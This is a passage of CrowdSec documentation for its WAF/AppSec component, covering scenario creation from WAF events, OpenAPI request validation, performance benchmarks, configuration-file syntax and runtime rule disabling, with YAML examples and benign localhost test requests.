# CrowdSec Documentation > Real-time & crowdsourced protection against aggressive IPs - Complete documentation for CrowdSec Security Engine, WAF, Bouncers, CTI API, and Console ## docs ### next - [WAF Deployment Strategies](https://docs.crowdsec.net/docs/next/appsec/advanced_deployments.md): This guide covers advanced CrowdSec WAF deployment strategies for organizations looking to gradually enhance their web application security posture. Learn how to progressively improve your WAF configuration from basic virtual patching to comprehensive multi-layer protection. - [Alerts & Scenarios](https://docs.crowdsec.net/docs/next/appsec/alerts_and_scenarios.md): Generated Events Layout - [OpenAPI Schema Validation](https://docs.crowdsec.net/docs/next/appsec/api_validation.md): The Application Security Component can validate incoming HTTP requests against an OpenAPI 3 schema you provide. Requests that do not conform to the schema (unknown route, unexpected method, missing or malformed parameters, invalid request body, missing/invalid authentication credentials, โ€ฆ) can be rejected before they ever reach the protected application. - [Basic Benchmark](https://docs.crowdsec.net/docs/next/appsec/benchmark.md): * `appsec-block` for blocked requests (*In-Band* rule matched, for example) * `appsec-info` for requests that triggered *Out-Of-Band* rule (not blocked) * `evt.Meta.source_ip` is set to the source (client) IP * `evt.Meta.target_host` is set to the FQDN if present (`Host` header in the HTTP request) * `evt.Meta.target_uri` is set to the complete URI of the HTTP request * `evt.Meta.rule_name` is set to the name of the triggered rule * `evt.Meta.remediation_cmpt_ip` is set to the IP of the Remediation Component (bouncer) that sent the HTTP request. info The [`crowdsecurity/appsec-logs` parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-logs) is already part of the generic AppSec/WAF collections and doesn't have to be manually installed. ## Creating Scenario Based on AppSec/WAF Events[โ€‹](#creating-scenario-based-on-appsecwaf-events "Direct link to Creating Scenario Based on AppSec/WAF Events") ### Triggering on *In-Band* Rules[โ€‹](#triggering-on-in-band-rules "Direct link to triggering-on-in-band-rules") A simple example is the [`crowdsecurity/appsec-vpatch` scenario](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-vpatch) that will ban IPs triggering two distinct *In-Band* rules: /etc/crowdsec/scenarios/appsec-vpatch.yaml YAML/etc/crowdsec/scenarios/appsec-vpatch.yamlCOPY ``` type: leaky name: crowdsecurity/appsec-vpatch filter: "evt.Meta.log_type == 'appsec-block'" distinct: evt.Meta.rule_name leakspeed: "60s" capacity: 1 groupby: evt.Meta.source_ip ... ``` info The [`crowdsecurity/appsec-vpatch` scenario](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-vpatch) is already part of the generic AppSec/WAF collections, and doesn't have to be manually installed. ### Triggering on Out-Of-Band Rules[โ€‹](#triggering-on-out-of-band-rules "Direct link to Triggering on Out-Of-Band Rules") Let's try to solve an imaginary scenario: > We aim to prevent users from enumerating certain URLs (specifically, those that begin with `/foobar/*`) when a particular HTTP header is present (`something: *test*`). However, we want to impose this restriction only on users attempting to access two or more distinct `/foobar/*` URLs while this header is set. info Keep in mind that *Out-Of-Band* rules generate an event instead of blocking the HTTP request. #### The AppSec/WAF Rule[โ€‹](#the-appsecwaf-rule "Direct link to The AppSec/WAF Rule") This is our AppSec/WAF rule: /etc/crowdsec/appsec-rules/foobar-access.yaml YAML/etc/crowdsec/appsec-rules/foobar-access.yamlCOPY ``` name: crowdsecurity/foobar-access description: "Detect access to foobar files with the something header set" rules: - zones: - URI transform: - lowercase match: type: startsWith value: /foobar/ - zones: - HEADERS variables: - something transform: - lowercase match: type: contains value: test ``` Let's ensure it's loaded as an *Out-Of-Band* rule by creating a new AppSec config: /etc/crowdsec/appsec-configs/appsec-oob.yaml YAML/etc/crowdsec/appsec-configs/appsec-oob.yamlCOPY ``` name: crowdsecurity/appsec-oob default_remediation: ban #Let's add our rule as an out-of-band rule outofband_rules: - crowdsecurity/foobar-access ``` And then make sure this appsec-config is loaded: /etc/crowdsec/acquis.d/appsec.yaml YAML/etc/crowdsec/acquis.d/appsec.yamlCOPY ``` appsec_configs: - crowdsecurity/appsec-default - crowdsecurity/appsec-oob labels: type: appsec listen_addr: 127.0.0.1:7422 source: appsec ``` #### The Scenario[โ€‹](#the-scenario "Direct link to The Scenario") We can now create a scenario that will trigger when a single IP triggers this rule on distinct URLs: /etc/crowdsec/scenarios/foobar-enum.yaml YAML/etc/crowdsec/scenarios/foobar-enum.yamlCOPY ``` type: leaky format: 3.0 name: crowdsecurity/foobar-enum description: "Ban IPs repeatedly triggering out of band rules" filter: "evt.Meta.log_type == 'appsec-info' && evt.Meta.rule_name == 'crowdsecurity/foobar-access'" distinct: evt.Meta.target_uri leakspeed: "60s" capacity: 1 groupby: evt.Meta.source_ip blackhole: 1m labels: remediation: true ``` info The `filter` ensures only *Out-Of-Band* events generated by our scenario are picked up, while the `capacity: 1` and `distinct: evt.Meta.target_uri` will ensure that the IP has to trigger the rule on at least 2 distinct URLs to trigger the scenario. #### Testing[โ€‹](#testing "Direct link to Testing") Let's now test our setup: SHCOPY ``` $ curl -I localhost/foobar/1 -H 'something: test' HTTP/1.1 404 Not Found $ curl -I localhost/foobar/2 -H 'something: test' HTTP/1.1 404 Not Found $ curl -I localhost/foobar/3 -H 'something: test' HTTP/1.1 403 Forbidden ``` And CrowdSec logs will show: TEXTCOPY ``` INFO[2024-12-02T15:28:16+01:00] Ip ::1 performed 'crowdsecurity/foobar-enum' (2 events over 4.780233613s) at 2024-12-02 14:28:16.858419797 +0000 UTC INFO[2024-12-02T15:28:17+01:00] (test/crowdsec) crowdsecurity/foobar-enum by ip ::1 (/0) : 4h ban on Ip ::1 ``` As expected, the first two requests were processed without being blocked. The second one triggered the scenario, resulting in the third request being blocked by the bouncer. --- # OpenAPI Schema Validation The Application Security Component can validate incoming HTTP requests against an [OpenAPI 3](https://swagger.io/specification/) schema you provide. Requests that do not conform to the schema (unknown route, unexpected method, missing or malformed parameters, invalid request body, missing/invalid authentication credentials, โ€ฆ) can be rejected before they ever reach the protected application. This is a positive-security model layered on top of the negative-security model implemented by the WAF rules: instead of describing what an attacker looks like, you describe what a valid client looks like and reject everything else. ## How it works[โ€‹](#how-it-works "Direct link to How it works") Schema validation is exposed through the [hooks](https://docs.crowdsec.net/docs/next/appsec/hooks.md) system: * An `on_load` hook loads one or more OpenAPI schemas at startup, each under a short string `ref`. * A `pre_eval` hook calls `ValidateRequestWithSchema(ref)` to validate the current request. The function returns `true` when the request is valid, `false` otherwise. * When validation fails, structured details about the failure are published to `hook_vars` so the same hook (or a later one) can build a meaningful drop reason, enrich an event, etc. ## Storing schemas[โ€‹](#storing-schemas "Direct link to Storing schemas") Schemas are loaded from the `schemas/` subdirectory of the CrowdSec [`data_dir`](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md#data_dir) (typically `/var/lib/crowdsec/data/schemas/`). Filenames passed to the loader **must be relative** to that directory. TEXTCOPY ``` /var/lib/crowdsec/data/schemas/ โ”œโ”€โ”€ users-api.yaml โ””โ”€โ”€ billing-api.yaml ``` OpenAPI 3.0 and Swagger schemas in YAML or JSON are both accepted. ## Loading schemas (`on_load`)[โ€‹](#loading-schemas-on_load "Direct link to loading-schemas-on_load") Loading is done from an `on_load` hook using one of two helpers: | Helper | Description | | ------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | | `LoadAPISchemaWithName(ref str, filename str)` | Load `/schemas/` and register it under `ref`, with default policies. | | `LoadAPISchemaWithOptions(ref str, filename str, opts map)` | Same as above, but lets you override per-schema policies (see below). | | `RegisterAPISchemaBodyDecoder(content_type str, decoder str)` | Enable a non-default body decoder for a given Content-Type (see below). | `ref` is an arbitrary string you choose; you will use it later in `pre_eval` to refer to this schema. A schema name cannot be loaded twice. YAMLCOPY ``` name: custom/my-appsec-config inband_rules: - crowdsecurity/base-config on_load: - apply: - LoadAPISchemaWithName("users_api", "users-api.yaml") - LoadAPISchemaWithName("billing_api", "billing-api.yaml") ``` If the schema file is missing, malformed, or not a valid OpenAPI 3 document, the datasource will fail to start and log the underlying error. ### Schema options[โ€‹](#schema-options "Direct link to Schema options") `LoadAPISchemaWithOptions` accepts the following keys, all strings: | Key | Values | Default | Effect | | -------------------------------- | ----------------- | ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | `on_route_not_found` | `drop` / `ignore` | `drop` | What to do when no path in the schema matches the request URL. | | `on_method_not_allowed` | `drop` / `ignore` | `drop` | What to do when a path matches but the method does not (e.g. schema only declares `GET`, request is `POST`). | | `on_unsupported_security_scheme` | `drop` / `ignore` | `drop` | What to do when an unsupported security schema is encountered (`openid`, `oauth2`). If `ignore`, the security schema will not be validated when checking a request | `drop` (the default) treats the unmatched route as a validation failure โ€” `ValidateRequestWithSchema` returns `false` and the validation error is surfaced via `hook_vars`. `ignore` lets the request through the validator without inspection (the function returns `true`), which is useful when your schema only covers a subset of your API. YAMLCOPY ``` on_load: - apply: - > LoadAPISchemaWithOptions("public_api", "public-api.yaml", { "on_route_not_found": "ignore", "on_method_not_allowed": "drop", }) ``` ### Body decoders[โ€‹](#body-decoders "Direct link to Body decoders") The validator uses the request `Content-Type` to pick a decoder for the body. By default, only the following Content-Types are decoded: * `application/json` and the JSON variants `application/json-patch+json`, `application/merge-patch+json`, `application/ld+json`, `application/hal+json`, `application/vnd.api+json`, `application/problem+json` * `application/x-www-form-urlencoded` * `multipart/form-data` A request whose Content-Type is not in this list will fail validation if the matching operation in the schema declares a request body. To enable validation of additional Content-Types, register a decoder from `on_load`: YAMLCOPY ``` on_load: - apply: - RegisterAPISchemaBodyDecoder("application/yaml", "yaml") - RegisterAPISchemaBodyDecoder("text/csv", "csv") ``` Available decoder names: | Decoder | Use for | | ------------ | ----------------------------------------------------- | | `json` | JSON payloads | | `urlencoded` | `application/x-www-form-urlencoded` | | `multipart` | `multipart/form-data` | | `yaml` | YAML payloads | | `csv` | CSV payloads | | `plain` | `text/plain` | | `file` | Raw binary uploads (`application/octet-stream`, etc.) | warning Body decoders are registered process-wide. If you run several AppSec datasources in the same CrowdSec process, they share the same set of registered decoders. ## Validating requests (`pre_eval`)[โ€‹](#validating-requests-pre_eval "Direct link to validating-requests-pre_eval") In a `pre_eval` hook, call `ValidateRequestWithSchema(ref)` with the `ref` you used at load time. It returns `true` if the request matches the schema, `false` otherwise. | Helper | Type | Description | | --------------------------- | -------------------- | -------------------------------------------------------------------------------------------------- | | `ValidateRequestWithSchema` | `func(ref str) bool` | Validate the current request against the schema registered under `ref`. Returns `true` on success. | A typical pattern is to fail closed โ€” on validation failure, drop the request and use the failure details to build a human-readable reason: YAMLCOPY ``` name: custom/my-appsec-config on_load: - apply: - LoadAPISchemaWithName("users_api", "users-api.yaml") inband: pre_eval: - filter: req.URL.Path startsWith "/users" && !ValidateRequestWithSchema("users_api") apply: - | DropRequest("schema validation failed: " + hook_vars.validation_error_message) ``` You can also use the result to pick a softer remediation, send a custom event, etc. ### Validation result variables[โ€‹](#validation-result-variables "Direct link to Validation result variables") When `ValidateRequestWithSchema` returns `false`, the following keys are set on `hook_vars`. They are available to the `apply` block of the same hook, to later hooks in the same request, and to `on_match` / `post_eval` hooks. The same keys are also propagated to the resulting CrowdSec event. | `hook_vars` key | Description | | --------------------------- | ---------------------------------------------------------------------------------------------------------------- | | `validation_error` | Full human-readable error string (combination of reason, field and message). | | `validation_error_reason` | Failure category โ€” `parameter`, `request_body`, `security`, `route_not_found`, `method_not_allowed`, `internal`. | | `validation_error_field` | Name of the offending field (e.g. query parameter, header, body property) when applicable. | | `validation_error_message` | The underlying error message from the validator. | | `validation_error_value` | The offending value, truncated to 100 characters. | | `validation_error_expected` | Short description of what the schema expected (e.g. `type: integer, min: 18`). | On success these keys are absent. ## Authentication[โ€‹](#authentication "Direct link to Authentication") If your OpenAPI schema declares a `security` requirement on an operation, the validator enforces it as part of validation. Failure to satisfy the security requirement is reported as a `security` reason in `hook_vars`. | Security scheme | Supported | Notes | | ------------------------- | --------- | ---------------------------------------------------------------------------------------------- | | `http` `basic` | Yes | Checks that an `Authorization: Basic โ€ฆ` header is present and non-empty. | | `http` `bearer` | Yes | Checks that an `Authorization: Bearer โ€ฆ` header is present and non-empty. | | `apiKey` (`header`) | Yes | Checks that the named header is present and non-empty. | | `apiKey` (`query`) | Yes | Checks that the named query parameter is present and non-empty. | | `apiKey` (`cookie`) | Yes | Checks that the named cookie is present and non-empty. | | `oauth2`, `openIdConnect` | No | A warning is logged at schema load. Any request guarded by such a scheme will fail validation. | The validator only verifies that the credential **is present and well-formed** โ€” it does not verify the credential against any backing store. ## End-to-end example[โ€‹](#end-to-end-example "Direct link to End-to-end example") `/var/lib/crowdsec/data/schemas/users-api.yaml`: YAMLCOPY ``` openapi: 3.0.0 info: title: Users API version: "1.0.0" paths: /users: post: requestBody: required: true content: application/json: schema: type: object required: [username, email] additionalProperties: false properties: username: type: string minLength: 3 maxLength: 20 email: type: string format: email responses: "201": description: created ``` AppSec configuration: YAMLCOPY ``` name: custom/my-appsec-config on_load: - apply: - LoadAPISchemaWithName("users_api", "users-api.yaml") inband: pre_eval: - filter: req.URL.Path startsWith "/users" && !ValidateRequestWithSchema("users_api") apply: - | DropRequest("API schema violation on '" + hook_vars.validation_error_field + "': " + hook_vars.validation_error_message) ``` With this configuration: * `POST /users` with `{"username": "ab", "email": "x"}` is dropped (`username` too short, `email` malformed). * `POST /users` with a valid body passes validation and is then evaluated by the WAF rules as usual. * `GET /users` is dropped with reason `method_not_allowed` (default policy). * `POST /admin` is dropped with reason `route_not_found` (default policy). ## Metrics[โ€‹](#metrics "Direct link to Metrics") Two Prometheus counters are exposed: | Metric | Labels | Description | | ----------------------------------- | ------------------------------------------------- | -------------------------------------------------------------- | | `cs_appsec_validation_ok_total` | `source`, `appsec_engine`, `schema_ref` | Requests that passed schema validation. | | `cs_appsec_validation_failed_total` | `source`, `appsec_engine`, `schema_ref`, `reason` | Requests that failed schema validation, broken down by reason. | `reason` values match `validation_error_reason`: `parameter`, `request_body`, `security`, `route_not_found`, `method_not_allowed`, `internal`. --- # Basic Benchmark The Application Security Component benchmarks were run on an AWS EC2 instance `t2.medium` (2vCPU/4GiB RAM). All benchmarks were run with a single `routine` configured for the Application Security Component. The benchmarks cover the following tests: * Basic GET request: * 5 concurrent connections / 1000 requests * 15 concurrent connections / 1000 requests Each test was run with multiple cases: * Application Security Component enabled but without any rules * Application Security Component enabled with 100 vpatch rules (in-band) * Application Security Component enabled with all the CRS (in-band) On the system, we deployed: * Openresty `1.21.4.3` * CrowdSec `v1.6.0` * cs-openresty-bouncer `v1.0.1` ## Basic GET request[โ€‹](#basic-get-request "Direct link to Basic GET request") ### 5 concurrent connections / 1000 requests[โ€‹](#5-concurrent-connections--1000-requests "Direct link to 5 concurrent connections / 1000 requests") ![5 concurrent connections / 1000 requests](/assets/images/basic_get_appsec_one_routine_5_1000-7b5250c0da2742b4f6bb9f75781d61a7.png) ### 15 concurrent connections / 1000 requests[โ€‹](#15-concurrent-connections--1000-requests "Direct link to 15 concurrent connections / 1000 requests") ![15 concurrent connections / 1000 requests](/assets/images/basic_get_appsec_one_routine_15_1000-a5ff58f0bb78032defc1ea45776fd8d2.png) # Stress Test This test was run on a `c5a.4xlarge` EC2 instance (16CPU/32GiB RAM). Tested versions are: * Openresty `v1.27.1.2` * CrowdSec `v1.7.0` * cs-openresty-bouncer `v1.1.2` Openresty was configured to not log anything and forward requests to a Go backend that always returns 200, to improve raw throughput and avoid disk access limits. CrowdSec WAF was configured with 16 routines to make use of as much CPU as possible. All tests were simulating 400 concurrent users, making requests as quickly as possible during 1 minute. Except for the baseline, all values in the tables are shown as a delta from the baseline performance. ## Baseline[โ€‹](#baseline "Direct link to Baseline") This test was run without loading the Openresty bouncer to get a baseline throughput of the system. ### GET Requests[โ€‹](#get-requests "Direct link to GET Requests") | Metric | Value | | --------------------- | -------- | | Average Response Time | 23.55ms | | Minimum Response Time | 21.24ms | | Median Response Time | 23.18ms | | Maximum Response Time | 255.16ms | | P90 Response Time | 24.72ms | ### 10% POST Requests[โ€‹](#10-post-requests "Direct link to 10% POST Requests") | Metric | Value | | --------------------- | -------- | | Average Response Time | 25.08ms | | Minimum Response Time | 21.29ms | | Median Response Time | 23.95ms | | Maximum Response Time | 331.08ms | | P90 Response Time | 30.95ms | ## Virtual Patching Rules[โ€‹](#virtual-patching-rules "Direct link to Virtual Patching Rules") ### GET Requests - 10% malicious - InBand[โ€‹](#get-requests---10-malicious---inband "Direct link to GET Requests - 10% malicious - InBand") | Metric | Delta | | --------------------- | -------- | | Average Response Time | +4.94ms | | Minimum Response Time | +0.93ms | | Median Response Time | +3.48ms | | Maximum Response Time | +6.83ms | | P90 Response Time | +10.13ms | ### Realistic Traffic - 70% GET - 25% POST - 5% malicious - Inband[โ€‹](#realistic-traffic---70-get---25-post---5-malicious---inband "Direct link to Realistic Traffic - 70% GET - 25% POST - 5% malicious - Inband") | Metric | Delta | | --------------------- | ------- | | Average Response Time | +4.03ms | | Minimum Response Time | +0.71ms | | Median Response Time | +2.36ms | | Maximum Response Time | +6.79ms | | P90 Response Time | +8.07ms | ## CRS[โ€‹](#crs "Direct link to CRS") ### GET Requests - 10% malicious - InBand[โ€‹](#get-requests---10-malicious---inband-1 "Direct link to GET Requests - 10% malicious - InBand") | Metric | Delta | | --------------------- | -------- | | Average Response Time | +32.85ms | | Minimum Response Time | +2.21ms | | Median Response Time | +27.47ms | | Maximum Response Time | -64.45ms | | P90 Response Time | +58.19ms | ### POST Requests - 10% malicious - InBand[โ€‹](#post-requests---10-malicious---inband "Direct link to POST Requests - 10% malicious - InBand") | Metric | Delta | | --------------------- | --------- | | Average Response Time | +58.49ms | | Minimum Response Time | +3.18ms | | Median Response Time | +54.1ms | | Maximum Response Time | -106.76ms | | P90 Response Time | +83.01ms | ### Realistic Traffic - 70% GET - 25% POST - 5% malicious - Inband[โ€‹](#realistic-traffic---70-get---25-post---5-malicious---inband-1 "Direct link to Realistic Traffic - 70% GET - 25% POST - 5% malicious - Inband") | Metric | Delta | | --------------------- | -------- | | Average Response Time | +32.54ms | | Minimum Response Time | +1.87ms | | Median Response Time | +28.36ms | | Maximum Response Time | -68.34ms | | P90 Response Time | +53.83ms | ## Virtual Patching Inband + CRS Out-of-band[โ€‹](#virtual-patching-inband--crs-out-of-band "Direct link to Virtual Patching Inband + CRS Out-of-band") ### Realistic Traffic - 70% GET - 25% POST - 5% malicious[โ€‹](#realistic-traffic---70-get---25-post---5-malicious "Direct link to Realistic Traffic - 70% GET - 25% POST - 5% malicious") | Metric | Delta | | --------------------- | --------- | | Average Response Time | +30.5ms | | Minimum Response Time | +1.56ms | | Median Response Time | +26.26ms | | Maximum Response Time | -101.66ms | | P90 Response Time | +51.18ms | --- # Syntax ## AppSec Configuration Files[โ€‹](#appsec-configuration-files "Direct link to AppSec Configuration Files") AppSec configuration files define which rules are loaded, how they run, and how the WAF responds. They are loaded by the AppSec acquisition datasource via `appsec_configs` (see the [AppSec datasource](https://docs.crowdsec.net/docs/next/log_processor/data_sources/appsec.md)). Below is a minimal example followed by the full key reference. YAMLCOPY ``` name: custom/my-appsec-config inband_rules: - crowdsecurity/base-config default_remediation: ban ``` Each AppSec configuration file controls how rules are loaded and processed. You can create custom configuration files in `/etc/crowdsec/appsec-configs/`. ## Configuration File Format[โ€‹](#configuration-file-format "Direct link to Configuration File Format") Configuration files share a common structure: * a [`name`](#name) (required) * optional rule lists such as [`inband_rules`](#inband_rules) and [`outofband_rules`](#outofband_rules) * optional behavior keys like [`default_remediation`](#default_remediation) and [`default_pass_action`](#default_pass_action) * HTTP response codes (for example, [`blocked_http_code`](#blocked_http_code)) * optional performance settings ([`inband_options`](#inband_options), [`outofband_options`](#outofband_options)) * optional hooks ([`on_load`](#on_load), [`pre_eval`](#pre_eval), [`post_eval`](#post_eval), [`on_match`](#on_match)) * optional logging ([`log_level`](#log_level)) YAMLCOPY ``` name: custom/my-appsec-config inband_rules: - crowdsecurity/base-config outofband_rules: - crowdsecurity/crs default_remediation: ban default_pass_action: allow blocked_http_code: 403 passed_http_code: 200 log_level: info ``` ## Configuration Structure[โ€‹](#configuration-structure "Direct link to Configuration Structure") ### name[โ€‹](#name "Direct link to name") > string Unique identifier for the AppSec configuration, used for logging and referencing. YAMLCOPY ``` name: custom/my-appsec-config ``` ### inband\_rules[โ€‹](#inband_rules "Direct link to inband_rules") > array of strings List of rule patterns to load as in-band rules. See [in-band rule processing](https://docs.crowdsec.net/docs/next/appsec/intro.md#in-band-rule-processing). YAMLCOPY ``` inband_rules: - crowdsecurity/base-config - crowdsecurity/vpatch-* ``` ### outofband\_rules[โ€‹](#outofband_rules "Direct link to outofband_rules") > array of strings List of rule patterns to load as out-of-band rules. See [out-of-band rule processing](https://docs.crowdsec.net/docs/next/appsec/intro.md#out-of-band-rule-processing). YAMLCOPY ``` outofband_rules: - crowdsecurity/crs - custom/detection-rules ``` ### default\_remediation[โ€‹](#default_remediation "Direct link to default_remediation") > string Default action for in-band rules that match. The special value `allow` disables blocking. Common values include `ban` (block) and `captcha` (challenge), depending on what your remediation component supports. info When using multiple AppSec configs, the last declared one takes precedence for this property. YAMLCOPY ``` default_remediation: ban ``` ### default\_pass\_action[โ€‹](#default_pass_action "Direct link to default_pass_action") > string Action for requests that do not match any rules, or match rules with pass actions. info When using multiple AppSec configs, the last declared one takes precedence for this property. YAMLCOPY ``` default_pass_action: allow ``` ### blocked\_http\_code[โ€‹](#blocked_http_code "Direct link to blocked_http_code") > integer HTTP status code returned to the remediation component when a request is blocked. YAMLCOPY ``` blocked_http_code: 403 ``` ### passed\_http\_code[โ€‹](#passed_http_code "Direct link to passed_http_code") > integer HTTP status code returned to the remediation component when a request is allowed. YAMLCOPY ``` passed_http_code: 200 ``` ### user\_blocked\_http\_code[โ€‹](#user_blocked_http_code "Direct link to user_blocked_http_code") > integer HTTP status code returned to the end user when a request is blocked. YAMLCOPY ``` user_blocked_http_code: 403 ``` ### user\_passed\_http\_code[โ€‹](#user_passed_http_code "Direct link to user_passed_http_code") > integer HTTP status code returned to the end user when a request is allowed. YAMLCOPY ``` user_passed_http_code: 200 ``` ### inband\_options[โ€‹](#inband_options "Direct link to inband_options") > object Performance tuning options for in-band rule processing. * `disable_body_inspection` (bool): Skip HTTP body inspection. * `request_body_in_memory_limit` (integer): Max body size in memory (bytes, default: 1048576). YAMLCOPY ``` inband_options: disable_body_inspection: false request_body_in_memory_limit: 1048576 ``` note `request_body_in_memory_limit` is a Coraza-level setting. It is distinct from the engine's overall maximum body size, which bounds how much of the body CrowdSec buffers before any rule runs (defaults to 10MB). See [Request body size handling](https://docs.crowdsec.net/docs/next/appsec/hooks.md#request-body-size-handling) to tune it. ### outofband\_options[โ€‹](#outofband_options "Direct link to outofband_options") > object Performance tuning options for out-of-band rule processing. * `disable_body_inspection` (bool): Skip HTTP body inspection. * `request_body_in_memory_limit` (integer): Max body size in memory (bytes, default: 1048576). YAMLCOPY ``` outofband_options: disable_body_inspection: false request_body_in_memory_limit: 1048576 ``` ### log\_level[โ€‹](#log_level "Direct link to log_level") > string Logging verbosity for this configuration. Available levels: `debug`, `info`, `warn`, `error`. YAMLCOPY ``` log_level: info ``` ### on\_load[โ€‹](#on_load "Direct link to on_load") > array Executed when the configuration is loaded. Typically used for global rule changes. YAMLCOPY ``` on_load: - apply: - RemoveInBandRuleByName("problematic-rule") ``` ### pre\_eval[โ€‹](#pre_eval "Direct link to pre_eval") > array Executed before rule evaluation for each request. Supports conditional logic. YAMLCOPY ``` pre_eval: - filter: IsInBand && req.RemoteAddr == "192.168.1.100" apply: - RemoveInBandRuleByName("strict-rule") ``` ### post\_eval[โ€‹](#post_eval "Direct link to post_eval") > array Executed after rule evaluation. Useful for debugging and analysis. YAMLCOPY ``` post_eval: - filter: IsInBand apply: - DumpRequest().WithBody().ToJSON() ``` ### on\_match[โ€‹](#on_match "Direct link to on_match") > array Executed when rules match. Used to adjust remediation or generate custom alerts. YAMLCOPY ``` on_match: - filter: req.Host == "staging.example.com" apply: - SetRemediation("allow") - CancelAlert() ``` For complete hook documentation, see [AppSec Hooks](https://docs.crowdsec.net/docs/next/appsec/hooks.md). --- # Creation & Testing ## AppSec Acquisition[โ€‹](#appsec-acquisition "Direct link to AppSec Acquisition") The acquisition file is used to: * Specify the **address** and **port** where AppSec-enabled remediation components forward requests. * Specify one or more AppSec configuration files that define which rules to apply and how. Details can be found in the [AppSec Datasource page](https://docs.crowdsec.net/docs/next/log_processor/data_sources/appsec.md). ### Defining Multiple AppSec Configurations[โ€‹](#defining-multiple-appsec-configurations "Direct link to Defining Multiple AppSec Configurations") Often you will want multiple AppSec configurations to define groups of rules that are handled the same way. Use the `appsec_configs` parameter to load multiple configurations that work together. In the following example we have two configurations: * One with [CrowdSec default AppSec rules โ†—๏ธ](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-configurations/appsec-default) running in in-band mode * The other for the [CRS rules โ†—๏ธ](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs) that run in out-of-band mode by default /etc/crowdsec/acquis.d/appsec.yaml YAML/etc/crowdsec/acquis.d/appsec.yamlCOPY ``` appsec_configs: - crowdsecurity/appsec-default # In-band virtual patching - crowdsecurity/crs # Out-of-band detection based on ModSec CRS - from crowdsecurity/appsec-crs collection labels: type: appsec listen_addr: 127.0.0.1:7422 source: appsec ``` info CrowdSec AppSec collections are available on [CrowdSec Hub โ†—๏ธ](https://app.crowdsec.net/hub/collections?filters=search%3Dappsec) and kept up to date. For example the CRS collection: `sudo cscli collections install crowdsecurity/appsec-crs`. This collection installs OWASP CRS in out-of-band and adds a scenario to ban IPs triggering multiple rules. ### Using Custom Configurations[โ€‹](#using-custom-configurations "Direct link to Using Custom Configurations") If you want to alter default configuration files, create a new configuration file instead of modifying hub configurations. Modifying hub configurations will make them *tainted* and prevent automatic updates. For example, if you want to change the default vpatch rules config, create your own and use it instead in the acquisition file. /etc/crowdsec/acquis.d/appsec.yaml YAML/etc/crowdsec/acquis.d/appsec.yamlCOPY ``` appsec_configs: - crowdsecurity/appsec-default - custom/my_vpatch_rules labels: type: appsec listen_addr: 127.0.0.1:7422 source: appsec ``` A custom configuration file could look like this: /etc/crowdsec/appsec-configs/my\_vpatch\_rules.yaml YAML/etc/crowdsec/appsec-configs/my\_vpatch\_rules.yamlCOPY ``` name: custom/my_vpatch_rules default_remediation: ban inband_rules: - custom/custom-vpatch-* # Add custom hooks as needed ``` ## AppSec Configuration Files[โ€‹](#appsec-configuration-files "Direct link to AppSec Configuration Files") AppSec configuration files declare **which rules to load** in **in-band** *(blocking)* and/or **out-of-band** *(non-blocking)* mode, define how matches are handled (for example, default remediation), and let you tweak processing via hooks like `on_load`, `pre_eval`, `post_eval`, and `on_match`. For the full list of keys, see [Configuration Syntax](https://docs.crowdsec.net/docs/next/appsec/configuration.md). info When loading multiple AppSec configs, *hooks* and *appsec rules* are appended, and for conflicting options (for example, `default_remediation`), the last one takes precedence. ### Configuration Processing Order[โ€‹](#configuration-processing-order "Direct link to Configuration Processing Order") When multiple AppSec configurations are loaded, they are processed in the order specified in the `appsec_configs` list. For details on how in-band and out-of-band rules work, see the [AppSec Introduction](https://docs.crowdsec.net/docs/next/appsec/intro.md#inband-rules-and-out-of-band-rules). ### Multi-Config Rule Evaluation[โ€‹](#multi-config-rule-evaluation "Direct link to Multi-Config Rule Evaluation") 1. All `inband_rules` from all configurations are combined and evaluated together 2. All `outofband_rules` from all configurations are combined and evaluated together 3. Hooks from all configurations are executed in the order the configurations are listed 4. For conflicting configuration options (like `default_remediation`), the last configuration's value takes precedence ## Testing Changes[โ€‹](#testing-changes "Direct link to Testing Changes") After updating AppSec configuration files: 1. Reload CrowdSec so it picks up the new configuration. 2. Validate behavior with your usual test traffic, or use the [generic AppSec test rule](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/appsec-generic-test). 3. Inspect results in logs or via `cscli metrics show appsec`. For more troubleshooting guidance, see [AppSec Troubleshooting](https://docs.crowdsec.net/docs/next/appsec/troubleshooting.md). --- # Allowlisting and Rule Overrides ## Disabling Rules at Runtime[โ€‹](#disabling-rules-at-runtime "Direct link to Disabling Rules at Runtime") You can disable rules at runtime, either globally (for all requests) or based on specific conditions (source IP, URI, ...). You can disable rules by: * Name with `RemoveInBandRuleByName`: For CrowdSec rules (name as seen in `cscli appsec-rules list`) * ID with `RemoveInBandRuleByID`: For seclang/ModSecurity rules by numeric ID * Tag with `RemoveInBandRuleByTag`: For seclang/ModSecurity rules by tag The same functions exist for out-of-band rules, prefixed with `RemoveOutBandRuleBy...` To disable a rule, create a new AppSec config to avoid tainting the configuration from the hub (or update your existing custom configuration). /etc/crowdsec/appsec-configs/my\_config.yaml YAML/etc/crowdsec/appsec-configs/my\_config.yamlCOPY ``` name: custom/my_config on_load: - apply: - RemoveInBandRuleByName("crowdsecurity/vpatch-env-access") pre_eval: - filter: IsInBand == true && req.URL.Path startsWith "/bar/" apply: - RemoveInBandRuleByName("crowdsecurity/generic-wordpress-uploads-php") ``` This example uses [hooks](https://docs.crowdsec.net/docs/next/appsec/hooks.md) to modify the configuration in 2 places: * `on_load`: Expressions here will be applied when CrowdSec loads the configuration, effectively disabling the rule `crowdsecurity/vpatch-env-access` globally. * `pre_eval`: Expressions here will be applied only if the provided filter matches. In this example, we are disabling the rule `crowdsecurity/generic-wordpress-uploads-php` only if the request URI starts with `/blog/` and if we are currently processing in-band rules. You can also disable native (seclang) rules by providing their ID with the `RemoveInBandRuleByID` helper. See the [hooks](https://docs.crowdsec.net/docs/next/appsec/hooks.md) documentation for a list of available helpers. Also note that we are not loading any rules in our custom config: the rules are loaded by the `crowdsecurity/appsec-default` config, and we are just modifying the runtime behavior with this config. Finally, add your new config to the acquisition configuration: /etc/crowdsec/acquis.d/appsec.yaml YAML/etc/crowdsec/acquis.d/appsec.yamlCOPY ``` appsec_configs: - 